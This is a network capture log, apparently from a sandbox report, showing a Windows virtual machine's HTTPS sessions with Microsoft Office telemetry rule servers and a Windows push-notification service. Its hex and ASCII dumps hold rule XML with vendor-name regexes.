2024-11-23 08:16:27 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:27 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:27 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 5e8702c1-301e-000c-0b8f-3b323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081627Z-174c587ffdfl22mzhC1TEBk40c00000002q000000000n6w7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:27 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:27 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:27 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 3cf7f359-901e-005b-4f39-3d2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081627Z-178bfbc474bv587zhC1NYCny5w00000003z000000000f73p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:27 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:27 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:27 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 8592a006-f01e-0085-6b6a-3c88ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081627Z-174c587ffdf7t49mhC1TEB4qbg00000002m0000000007thd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:27 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49726	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:29 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 239436ba-d01e-0028-7bd5-3b7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081629Z-15b8b599d88wk8w4hC1TEB14b800000002n000000000ds2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	49725	20.198.119.84	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6d 33 76 67 37 72 79 31 62 30 75 56 6b 36 56 62 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 33 33 32 34 35 30 36 32 33 37 38 62 34 37 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: m3vg7ry1b0uVk6Vb.1Context: 4833245062378b47
2024-11-23 08:16:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-23 08:16:29 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6d 33 76 67 37 72 79 31 62 30 75 56 6b 36 56 62 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 33 33 32 34 35 30 36 32 33 37 38 62 34 37 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 43 37 72 73 47 75 61 54 45 6f 77 67 4a 76 6a 71 2f 76 31 47 6e 4e 4b 51 33 2b 2f 58 48 69 63 33 5a 55 7a 44 34 6c 65 71 6a 67 39 72 61 79 53 76 46 6d 4f 63 4a 32 43 6c 52 45 31 67 7a 36 39 62 65 6c 39 4d 2f 45 6f 74 33 70 77 76 32 48 61 31 74 64 39 71 48 6a 75 63 6f 42 56 32 49 45 46 50 62 65 38 63 4f 49 6f 4d 2f 4b 4b 34 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: m3vg7ry1b0uVk6Vb.2Context: 4833245062378b47<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQC7rsGuaTEowgJvjq/v1GnNKQ3+/XHic3ZUzD4leqjg9raySvFmOcJ2ClRE1gz69bel9M/Eot3pwv2Ha1td9qHjucoBV2IEFPbe8cOIoM/KK4
2024-11-23 08:16:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6d 33 76 67 37 72 79 31 62 30 75 56 6b 36 56 62 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 34 38 33 33 32 34 35 30 36 32 33 37 38 62 34 37 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: m3vg7ry1b0uVk6Vb.3Context: 4833245062378b47<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-23 08:16:30 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-23 08:16:30 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 30 49 61 57 77 30 38 49 37 30 53 58 4c 32 73 74 44 48 49 5a 79 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 0IaWw08I70SXL2stDHIZyQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.6	49727	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:29 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:30 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081629Z-178bfbc474btvfdfhC1NYCa2en0000000490000000006r65 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:30 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.6	49729	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:29 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 3744ce68-601e-00ab-2603-3d66f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081630Z-178bfbc474bfw4gbhC1NYCunf400000004a0000000000776 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.6	49728	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:29 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:30 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081630Z-178bfbc474bv587zhC1NYCny5w000000042g000000006dcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:30 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:29 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:30 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:30 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081630Z-174c587ffdfdwxdvhC1TEB1c4n00000002h000000000e67h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:30 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49731	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:31 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:16:32 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:32 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d02e2b11-101e-00a2-2d3a-3c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081632Z-178bfbc474bwh9gmhC1NYCy3rs000000045000000000fbgw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:32 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

